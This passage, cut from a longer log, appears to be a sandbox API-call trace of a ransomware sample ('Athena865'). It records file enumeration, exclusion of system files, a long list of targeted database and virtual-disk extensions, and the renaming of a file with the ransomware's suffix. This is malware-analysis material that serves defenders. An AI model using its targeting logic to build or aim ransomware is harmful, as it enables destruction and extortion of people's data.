pbBuffer=0x241d188) returned 1 [0127.812] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0127.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0127.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0127.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0127.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0127.814] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0127.814] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0127.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0127.815] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0127.816] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0127.816] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0127.817] CloseHandle (hObject=0x154) returned 1 [0127.817] CloseHandle (hObject=0x17c) returned 1 [0127.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0127.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0127.817] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0127.819] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x366e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0200467.WMF", cAlternateFileName="")) returned 1 [0127.819] lstrcmpiW (lpString1="J0200467.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0127.820] lstrcmpiW (lpString1="J0200467.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0127.821] lstrcmpiW (lpString1="J0200467.WMF", lpString2=".") returned 1 [0127.821] lstrcmpiW (lpString1="J0200467.WMF", lpString2="..") returned 1 [0127.821] lstrcmpiW (lpString1="J0200467.WMF", lpString2="windows") returned -1 [0127.821] lstrcmpiW (lpString1="J0200467.WMF", lpString2="bootmgr") returned 1 [0127.821] lstrcmpiW (lpString1="J0200467.WMF", lpString2="temp") returned -1 [0127.821] lstrcmpiW (lpString1="J0200467.WMF", lpString2="pagefile.sys") returned -1 [0127.822] lstrcmpiW (lpString1="J0200467.WMF", lpString2="boot") returned 1 [0127.822] lstrcmpiW (lpString1="J0200467.WMF", lpString2="ids.txt") returned 1 [0127.822] lstrcmpiW (lpString1="J0200467.WMF", lpString2="ntuser.dat") returned -1 [0127.822] lstrcmpiW (lpString1="J0200467.WMF", lpString2="perflogs") returned -1 [0127.822] lstrcmpiW (lpString1="J0200467.WMF", lpString2="MSBuild") returned -1 [0127.822] lstrlenW (lpString="J0200467.WMF") returned 12 [0127.822] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0200467.WMF" | out: lpString1="J0200467.WMF") returned="J0200467.WMF" [0127.822] lstrlenW (lpString="J0200467.WMF") returned 12 [0127.823] lstrlenW (lpString="Athena865") returned 9 [0127.823] lstrcmpiW (lpString1="00467.WMF", lpString2="Athena865") returned -1 [0127.823] lstrlenW (lpString=".dll") returned 4 [0127.823] lstrcmpiW (lpString1="J0200467.WMF", lpString2=".dll") returned 1 [0127.824] lstrlenW (lpString=".lnk") returned 4 [0127.824] lstrcmpiW (lpString1="J0200467.WMF", lpString2=".lnk") returned 1 [0127.824] lstrlenW (lpString=".ini") returned 4 [0127.824] lstrcmpiW (lpString1="J0200467.WMF", lpString2=".ini") returned 1 [0127.824] lstrlenW (lpString=".sys") returned 4 [0127.824] lstrcmpiW (lpString1="J0200467.WMF", lpString2=".sys") returned 1 [0127.824] lstrlenW (lpString="J0200467.WMF") returned 12 [0127.824] lstrlenW (lpString="bak") returned 3 [0127.824] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0127.824] lstrlenW (lpString="ba_") returned 3 [0127.825] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0127.825] lstrlenW (lpString="dbb") returned 3 [0127.825] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0127.826] lstrlenW (lpString="vmdk") returned 4 [0127.826] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0127.826] lstrlenW (lpString="rar") returned 3 [0127.826] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0127.826] lstrlenW (lpString="zip") returned 3 [0127.826] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0127.826] lstrlenW (lpString="tgz") returned 3 [0127.835] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0127.835] lstrlenW (lpString="vbox") returned 4 [0127.835] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0127.835] lstrlenW (lpString="vdi") returned 3 [0127.836] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0127.836] lstrlenW (lpString="vhd") returned 3 [0127.836] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0127.836] lstrlenW (lpString="vhdx") returned 4 [0127.836] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0127.836] lstrlenW (lpString="avhd") returned 4 [0127.836] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0127.836] lstrlenW (lpString="db") returned 2 [0127.836] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0127.836] lstrlenW (lpString="db2") returned 3 [0127.837] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0127.837] lstrlenW (lpString="db3") returned 3 [0127.837] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0127.837] lstrlenW (lpString="dbf") returned 3 [0127.837] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0127.837] lstrlenW (lpString="mdf") returned 3 [0127.837] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0127.837] lstrlenW (lpString="mdb") returned 3 [0127.837] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0127.837] lstrlenW (lpString="sql") returned 3 [0127.838] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0127.838] lstrlenW (lpString="sqlite") returned 6 [0127.838] lstrcmpiW (lpString1="67.WMF", lpString2="sqlite") returned -1 [0127.838] lstrlenW (lpString="sqlite3") returned 7 [0127.838] lstrcmpiW (lpString1="467.WMF", lpString2="sqlite3") returned -1 [0127.838] lstrlenW (lpString="sqlitedb") returned 8 [0127.838] lstrcmpiW (lpString1="0467.WMF", lpString2="sqlitedb") returned -1 [0127.838] lstrlenW (lpString="xml") returned 3 [0127.838] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0127.838] lstrlenW (lpString="$er") returned 3 [0127.839] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0127.840] lstrlenW (lpString="4dd") returned 3 [0127.840] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0127.840] lstrlenW (lpString="4dl") returned 3 [0127.840] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0127.840] lstrlenW (lpString="^^^") returned 3 [0127.840] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0127.840] lstrlenW (lpString="abs") returned 3 [0127.840] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0127.840] lstrlenW (lpString="abx") returned 3 [0127.840] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0127.840] lstrlenW (lpString="accdb") returned 5 [0127.840] lstrcmpiW (lpString1="7.WMF", lpString2="accdb") returned -1 [0127.840] lstrlenW (lpString="accdc") returned 5 [0127.840] lstrcmpiW (lpString1="7.WMF", lpString2="accdc") returned -1 [0127.840] lstrlenW (lpString="accde") returned 5 [0127.840] lstrcmpiW (lpString1="7.WMF", lpString2="accde") returned -1 [0127.840] lstrlenW (lpString="accdr") returned 5 [0127.840] lstrcmpiW (lpString1="7.WMF", lpString2="accdr") returned -1 [0127.840] lstrlenW (lpString="accdt") returned 5 [0127.840] lstrcmpiW (lpString1="7.WMF", lpString2="accdt") returned -1 [0127.840] lstrlenW (lpString="accdw") returned 5 [0127.840] lstrcmpiW (lpString1="7.WMF", lpString2="accdw") returned -1 [0127.840] lstrlenW (lpString="accft") returned 5 [0127.840] lstrcmpiW (lpString1="7.WMF", lpString2="accft") returned -1 [0127.841] lstrlenW (lpString="adb") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.841] lstrlenW (lpString="adb") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0127.841] lstrlenW (lpString="ade") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0127.841] lstrlenW (lpString="adf") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0127.841] lstrlenW (lpString="adn") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0127.841] lstrlenW (lpString="adp") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0127.841] lstrlenW (lpString="alf") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0127.841] lstrlenW (lpString="ask") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0127.841] lstrlenW (lpString="btr") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0127.841] lstrlenW (lpString="cat") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0127.841] lstrlenW (lpString="cdb") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0127.841] lstrlenW (lpString="ckp") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0127.841] lstrlenW (lpString="cma") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0127.841] lstrlenW (lpString="cpd") returned 3 [0127.841] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0127.842] lstrlenW (lpString="dacpac") returned 6 [0127.842] lstrcmpiW (lpString1="67.WMF", lpString2="dacpac") returned -1 [0127.842] lstrlenW (lpString="dad") returned 3 [0127.842] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0127.842] lstrlenW (lpString="dadiagrams") returned 10 [0127.842] lstrcmpiW (lpString1="200467.WMF", lpString2="dadiagrams") returned -1 [0127.842] lstrlenW (lpString="daschema") returned 8 [0127.842] lstrcmpiW (lpString1="0467.WMF", lpString2="daschema") returned -1 [0127.842] lstrlenW (lpString="db-journal") returned 10 [0127.842] lstrcmpiW (lpString1="200467.WMF", lpString2="db-journal") returned -1 [0127.842] lstrlenW (lpString="db-shm") returned 6 [0127.842] lstrcmpiW (lpString1="67.WMF", lpString2="db-shm") returned -1 [0127.842] lstrlenW (lpString="db-wal") returned 6 [0127.842] lstrcmpiW (lpString1="67.WMF", lpString2="db-wal") returned -1 [0127.842] lstrlenW (lpString="dbc") returned 3 [0127.842] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0127.842] lstrlenW (lpString="dbs") returned 3 [0127.842] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0127.842] lstrlenW (lpString="dbt") returned 3 [0127.842] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0127.842] lstrlenW (lpString="dbv") returned 3 [0127.842] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0127.842] lstrlenW (lpString="dbx") returned 3 [0127.842] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0127.842] lstrlenW (lpString="dcb") returned 3 [0127.842] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0127.842] lstrlenW (lpString="dct") returned 3 [0127.843] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0127.843] lstrlenW (lpString="dcx") returned 3 [0127.843] lstrcmpiW (lpString1="WMF", lpString2="dcx") returned 1 [0127.843] lstrlenW (lpString="ddl") returned 3 [0127.843] lstrcmpiW (lpString1="WMF", lpString2="ddl") returned 1 [0127.843] lstrlenW (lpString="dlis") returned 4 [0127.843] lstrcmpiW (lpString1=".WMF", lpString2="dlis") returned -1 [0127.843] lstrlenW (lpString="dp1") returned 3 [0127.843] lstrcmpiW (lpString1="WMF", lpString2="dp1") returned 1 [0127.843] lstrlenW (lpString="dqy") returned 3 [0127.843] lstrcmpiW (lpString1="WMF", lpString2="dqy") returned 1 [0127.843] lstrlenW (lpString="dsk") returned 3 [0127.843] lstrcmpiW (lpString1="WMF", lpString2="dsk") returned 1 [0127.843] lstrlenW (lpString="dsn") returned 3 [0127.843] lstrcmpiW (lpString1="WMF", lpString2="dsn") returned 1 [0127.843] lstrlenW (lpString="dtsx") returned 4 [0127.843] lstrcmpiW (lpString1=".WMF", lpString2="dtsx") returned -1 [0127.843] lstrlenW (lpString="dxl") returned 3 [0127.843] lstrcmpiW (lpString1="WMF", lpString2="dxl") returned 1 [0127.843] lstrlenW (lpString="eco") returned 3 [0127.843] lstrcmpiW (lpString1="WMF", lpString2="eco") returned 1 [0127.843] lstrlenW (lpString="ecx") returned 3 [0127.843] lstrcmpiW (lpString1="WMF", lpString2="ecx") returned 1 [0127.843] lstrlenW (lpString="edb") returned 3 [0127.843] lstrcmpiW (lpString1="WMF", lpString2="edb") returned 1 [0127.843] lstrlenW (lpString="epim") returned 4 [0127.843] lstrcmpiW (lpString1=".WMF", lpString2="epim") returned -1 [0127.843] lstrlenW (lpString="fcd") returned 3 [0127.844] lstrcmpiW (lpString1="WMF", lpString2="fcd") returned 1 [0127.844] lstrlenW (lpString="fdb") returned 3 [0127.844] lstrcmpiW (lpString1="WMF", lpString2="fdb") returned 1 [0127.844] lstrlenW (lpString="fic") returned 3 [0127.844] lstrcmpiW (lpString1="WMF", lpString2="fic") returned 1 [0127.844] lstrlenW (lpString="flexolibrary") returned 12 [0127.844] lstrlenW (lpString="fm5") returned 3 [0127.844] lstrcmpiW (lpString1="WMF", lpString2="fm5") returned 1 [0127.844] lstrlenW (lpString="fmp") returned 3 [0127.844] lstrcmpiW (lpString1="WMF", lpString2="fmp") returned 1 [0127.844] lstrlenW (lpString="fmp12") returned 5 [0127.844] lstrcmpiW (lpString1="7.WMF", lpString2="fmp12") returned -1 [0127.844] lstrlenW (lpString="fmpsl") returned 5 [0127.844] lstrcmpiW (lpString1="7.WMF", lpString2="fmpsl") returned -1 [0127.844] lstrlenW (lpString="fol") returned 3 [0127.844] lstrcmpiW (lpString1="WMF", lpString2="fol") returned 1 [0127.844] lstrlenW (lpString="fp3") returned 3 [0127.844] lstrcmpiW (lpString1="WMF", lpString2="fp3") returned 1 [0127.844] lstrlenW (lpString="fp4") returned 3 [0127.844] lstrcmpiW (lpString1="WMF", lpString2="fp4") returned 1 [0127.844] lstrlenW (lpString="fp5") returned 3 [0127.844] lstrcmpiW (lpString1="WMF", lpString2="fp5") returned 1 [0127.844] lstrlenW (lpString="fp7") returned 3 [0127.844] lstrcmpiW (lpString1="WMF", lpString2="fp7") returned 1 [0127.844] lstrlenW (lpString="fpt") returned 3 [0127.844] lstrcmpiW (lpString1="WMF", lpString2="fpt") returned 1 [0127.845] lstrlenW (lpString="frm") returned 3 [0127.845] lstrcmpiW (lpString1="WMF", lpString2="frm") returned 1 [0127.845] lstrlenW (lpString="gdb") returned 3 [0127.845] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0127.845] lstrlenW (lpString="gdb") returned 3 [0127.845] lstrcmpiW (lpString1="WMF", lpString2="gdb") returned 1 [0127.845] lstrlenW (lpString="grdb") returned 4 [0127.845] lstrcmpiW (lpString1=".WMF", lpString2="grdb") returned -1 [0127.845] lstrlenW (lpString="gwi") returned 3 [0127.845] lstrcmpiW (lpString1="WMF", lpString2="gwi") returned 1 [0127.845] lstrlenW (lpString="hdb") returned 3 [0127.845] lstrcmpiW (lpString1="WMF", lpString2="hdb") returned 1 [0127.845] lstrlenW (lpString="his") returned 3 [0127.845] lstrcmpiW (lpString1="WMF", lpString2="his") returned 1 [0127.845] lstrlenW (lpString="ib") returned 2 [0127.845] lstrcmpiW (lpString1="MF", lpString2="ib") returned 1 [0127.845] lstrlenW (lpString="idb") returned 3 [0127.845] lstrcmpiW (lpString1="WMF", lpString2="idb") returned 1 [0127.845] lstrlenW (lpString="ihx") returned 3 [0127.845] lstrcmpiW (lpString1="WMF", lpString2="ihx") returned 1 [0127.845] lstrlenW (lpString="itdb") returned 4 [0127.845] lstrcmpiW (lpString1=".WMF", lpString2="itdb") returned -1 [0127.845] lstrlenW (lpString="itw") returned 3 [0127.845] lstrcmpiW (lpString1="WMF", lpString2="itw") returned 1 [0127.845] lstrlenW (lpString="jet") returned 3 [0127.845] lstrcmpiW (lpString1="WMF", lpString2="jet") returned 1 [0127.845] lstrlenW (lpString="jtx") returned 3 [0127.846] lstrcmpiW (lpString1="WMF", lpString2="jtx") returned 1 [0127.846] lstrlenW (lpString="kdb") returned 3 [0127.846] lstrcmpiW (lpString1="WMF", lpString2="kdb") returned 1 [0127.846] lstrlenW (lpString="kexi") returned 4 [0127.846] lstrcmpiW (lpString1=".WMF", lpString2="kexi") returned -1 [0127.846] lstrlenW (lpString="kexic") returned 5 [0127.846] lstrcmpiW (lpString1="7.WMF", lpString2="kexic") returned -1 [0127.846] lstrlenW (lpString="kexis") returned 5 [0127.846] lstrcmpiW (lpString1="7.WMF", lpString2="kexis") returned -1 [0127.846] lstrlenW (lpString="lgc") returned 3 [0127.846] lstrcmpiW (lpString1="WMF", lpString2="lgc") returned 1 [0127.846] lstrlenW (lpString="lwx") returned 3 [0127.846] lstrcmpiW (lpString1="WMF", lpString2="lwx") returned 1 [0127.846] lstrlenW (lpString="maf") returned 3 [0127.846] lstrcmpiW (lpString1="WMF", lpString2="maf") returned 1 [0127.846] lstrlenW (lpString="maq") returned 3 [0127.846] lstrcmpiW (lpString1="WMF", lpString2="maq") returned 1 [0127.846] lstrlenW (lpString="mar") returned 3 [0127.846] lstrcmpiW (lpString1="WMF", lpString2="mar") returned 1 [0127.846] lstrlenW (lpString="marshal") returned 7 [0127.846] lstrcmpiW (lpString1="467.WMF", lpString2="marshal") returned -1 [0127.846] lstrlenW (lpString="mas") returned 3 [0127.846] lstrcmpiW (lpString1="WMF", lpString2="mas") returned 1 [0127.846] lstrlenW (lpString="mav") returned 3 [0127.846] lstrcmpiW (lpString1="WMF", lpString2="mav") returned 1 [0127.846] lstrlenW (lpString="maw") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="maw") returned 1 [0127.847] lstrlenW (lpString="mdbhtml") returned 7 [0127.847] lstrcmpiW (lpString1="467.WMF", lpString2="mdbhtml") returned -1 [0127.847] lstrlenW (lpString="mdn") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="mdn") returned 1 [0127.847] lstrlenW (lpString="mdt") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="mdt") returned 1 [0127.847] lstrlenW (lpString="mfd") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="mfd") returned 1 [0127.847] lstrlenW (lpString="mpd") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="mpd") returned 1 [0127.847] lstrlenW (lpString="mrg") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="mrg") returned 1 [0127.847] lstrlenW (lpString="mud") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="mud") returned 1 [0127.847] lstrlenW (lpString="mwb") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="mwb") returned 1 [0127.847] lstrlenW (lpString="myd") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="myd") returned 1 [0127.847] lstrlenW (lpString="ndf") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="ndf") returned 1 [0127.847] lstrlenW (lpString="nnt") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="nnt") returned 1 [0127.847] lstrlenW (lpString="nrmlib") returned 6 [0127.847] lstrcmpiW (lpString1="67.WMF", lpString2="nrmlib") returned -1 [0127.847] lstrlenW (lpString="ns2") returned 3 [0127.847] lstrcmpiW (lpString1="WMF", lpString2="ns2") returned 1 [0127.848] lstrlenW (lpString="ns3") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="ns3") returned 1 [0127.848] lstrlenW (lpString="ns4") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="ns4") returned 1 [0127.848] lstrlenW (lpString="nsf") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="nsf") returned 1 [0127.848] lstrlenW (lpString="nv") returned 2 [0127.848] lstrcmpiW (lpString1="MF", lpString2="nv") returned -1 [0127.848] lstrlenW (lpString="nv2") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="nv2") returned 1 [0127.848] lstrlenW (lpString="nwdb") returned 4 [0127.848] lstrcmpiW (lpString1=".WMF", lpString2="nwdb") returned -1 [0127.848] lstrlenW (lpString="nyf") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="nyf") returned 1 [0127.848] lstrlenW (lpString="odb") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0127.848] lstrlenW (lpString="odb") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="odb") returned 1 [0127.848] lstrlenW (lpString="oqy") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="oqy") returned 1 [0127.848] lstrlenW (lpString="ora") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="ora") returned 1 [0127.848] lstrlenW (lpString="orx") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="orx") returned 1 [0127.848] lstrlenW (lpString="owc") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="owc") returned 1 [0127.848] lstrlenW (lpString="p96") returned 3 [0127.848] lstrcmpiW (lpString1="WMF", lpString2="p96") returned 1 [0127.848] lstrlenW (lpString="p97") returned 3 [0127.849] lstrcmpiW (lpString1="WMF", lpString2="p97") returned 1 [0127.849] lstrlenW (lpString="pan") returned 3 [0127.849] lstrcmpiW (lpString1="WMF", lpString2="pan") returned 1 [0127.849] lstrlenW (lpString="pdb") returned 3 [0127.849] lstrcmpiW (lpString1="WMF", lpString2="pdb") returned 1 [0127.849] lstrlenW (lpString="pdm") returned 3 [0127.849] lstrcmpiW (lpString1="WMF", lpString2="pdm") returned 1 [0127.849] lstrlenW (lpString="pnz") returned 3 [0127.849] lstrcmpiW (lpString1="WMF", lpString2="pnz") returned 1 [0127.849] lstrlenW (lpString="qry") returned 3 [0127.849] lstrcmpiW (lpString1="WMF", lpString2="qry") returned 1 [0127.849] lstrlenW (lpString="qvd") returned 3 [0127.849] lstrcmpiW (lpString1="WMF", lpString2="qvd") returned 1 [0127.849] lstrlenW (lpString="rbf") returned 3 [0127.849] lstrcmpiW (lpString1="WMF", lpString2="rbf") returned 1 [0127.849] lstrlenW (lpString="rctd") returned 4 [0127.849] lstrcmpiW (lpString1=".WMF", lpString2="rctd") returned -1 [0127.849] lstrlenW (lpString="rod") returned 3 [0127.849] lstrcmpiW (lpString1="WMF", lpString2="rod") returned 1 [0127.849] lstrlenW (lpString="rodx") returned 4 [0127.849] lstrcmpiW (lpString1=".WMF", lpString2="rodx") returned -1 [0127.849] lstrlenW (lpString="rpd") returned 3 [0127.849] lstrcmpiW (lpString1="WMF", lpString2="rpd") returned 1 [0127.849] lstrlenW (lpString="rsd") returned 3 [0127.849] lstrcmpiW (lpString1="WMF", lpString2="rsd") returned 1 [0127.849] lstrlenW (lpString="sas7bdat") returned 8 [0127.849] lstrcmpiW (lpString1="0467.WMF", lpString2="sas7bdat") returned -1 [0127.850] lstrlenW (lpString="sbf") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="sbf") returned 1 [0127.850] lstrlenW (lpString="scx") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="scx") returned 1 [0127.850] lstrlenW (lpString="sdb") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="sdb") returned 1 [0127.850] lstrlenW (lpString="sdc") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="sdc") returned 1 [0127.850] lstrlenW (lpString="sdf") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="sdf") returned 1 [0127.850] lstrlenW (lpString="sis") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="sis") returned 1 [0127.850] lstrlenW (lpString="spq") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="spq") returned 1 [0127.850] lstrlenW (lpString="te") returned 2 [0127.850] lstrcmpiW (lpString1="MF", lpString2="te") returned -1 [0127.850] lstrlenW (lpString="teacher") returned 7 [0127.850] lstrcmpiW (lpString1="467.WMF", lpString2="teacher") returned -1 [0127.850] lstrlenW (lpString="tmd") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="tmd") returned 1 [0127.850] lstrlenW (lpString="tps") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="tps") returned 1 [0127.850] lstrlenW (lpString="trc") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0127.850] lstrlenW (lpString="trc") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="trc") returned 1 [0127.850] lstrlenW (lpString="trm") returned 3 [0127.850] lstrcmpiW (lpString1="WMF", lpString2="trm") returned 1 [0127.851] lstrlenW (lpString="udb") returned 3 [0127.851] lstrcmpiW (lpString1="WMF", lpString2="udb") returned 1 [0127.851] lstrlenW (lpString="udl") returned 3 [0127.851] lstrcmpiW (lpString1="WMF", lpString2="udl") returned 1 [0127.851] lstrlenW (lpString="usr") returned 3 [0127.851] lstrcmpiW (lpString1="WMF", lpString2="usr") returned 1 [0127.851] lstrlenW (lpString="v12") returned 3 [0127.851] lstrcmpiW (lpString1="WMF", lpString2="v12") returned 1 [0127.851] lstrlenW (lpString="vis") returned 3 [0127.851] lstrcmpiW (lpString1="WMF", lpString2="vis") returned 1 [0127.851] lstrlenW (lpString="vpd") returned 3 [0127.851] lstrcmpiW (lpString1="WMF", lpString2="vpd") returned 1 [0127.851] lstrlenW (lpString="vvv") returned 3 [0127.851] lstrcmpiW (lpString1="WMF", lpString2="vvv") returned 1 [0127.851] lstrlenW (lpString="wdb") returned 3 [0127.851] lstrcmpiW (lpString1="WMF", lpString2="wdb") returned 1 [0127.851] lstrlenW (lpString="wmdb") returned 4 [0127.851] lstrcmpiW (lpString1=".WMF", lpString2="wmdb") returned -1 [0127.851] lstrlenW (lpString="wrk") returned 3 [0127.851] lstrcmpiW (lpString1="WMF", lpString2="wrk") returned -1 [0127.851] lstrlenW (lpString="xdb") returned 3 [0127.851] lstrcmpiW (lpString1="WMF", lpString2="xdb") returned -1 [0127.851] lstrlenW (lpString="xld") returned 3 [0127.851] lstrcmpiW (lpString1="WMF", lpString2="xld") returned -1 [0127.851] lstrlenW (lpString="xmlff") returned 5 [0127.851] lstrcmpiW (lpString1="7.WMF", lpString2="xmlff") returned -1 [0127.851] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.Athena865") returned 73 [0127.851] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.athena865"), dwFlags=0x1) returned 1 [0127.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0127.853] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13934) returned 1 [0127.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0127.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0127.853] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 